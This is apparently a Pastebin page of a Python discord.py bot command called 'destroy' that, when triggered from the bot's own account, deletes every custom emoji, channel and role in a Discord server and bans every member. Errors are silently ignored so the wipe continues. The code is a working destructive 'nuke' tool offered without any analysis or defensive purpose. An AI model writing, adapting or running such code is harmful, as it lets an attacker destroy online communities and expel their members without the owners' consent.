SHARE
TWEET

CFbot code

Our-magestry Jun 5th, 2019 58 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. @client.command(pass_context=True)
  2. async def destroy(ctx):
  3.     if client.user.id == ctx.message.author.id:
  4.         for emoji in list(ctx.message.server.emojis):
  5.             try:
  6.                 await client.delete_custom_emoji(emoji)
  7.                 print (emoji.name + " has been deleted in " + ctx.message.server.name)
  8.             except:
  9.                 pass
  10.         for channel in list(ctx.message.server.channels):
  11.             try:
  12.                 await client.delete_channel(channel)
  13.                 print (channel.name + " has been deleted in " + ctx.message.server.name)
  14.             except:
  15.                 pass
  16.         for role in list(ctx.message.server.roles):
  17.             try:
  18.                 await client.delete_role(ctx.message.server, role)
  19.                 print (role.name + " has been deleted in " + ctx.message.server.name)
  20.             except:
  21.                 pass
  22.         for user in list(ctx.message.server.members):
  23.             try:
  24.                 await client.ban(user)
  25.                 print (user.name + " has been banned from " + ctx.message.server.name)
  26.             except:
  27.                 pass
  28.         print ("Action Completed: destroy")
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top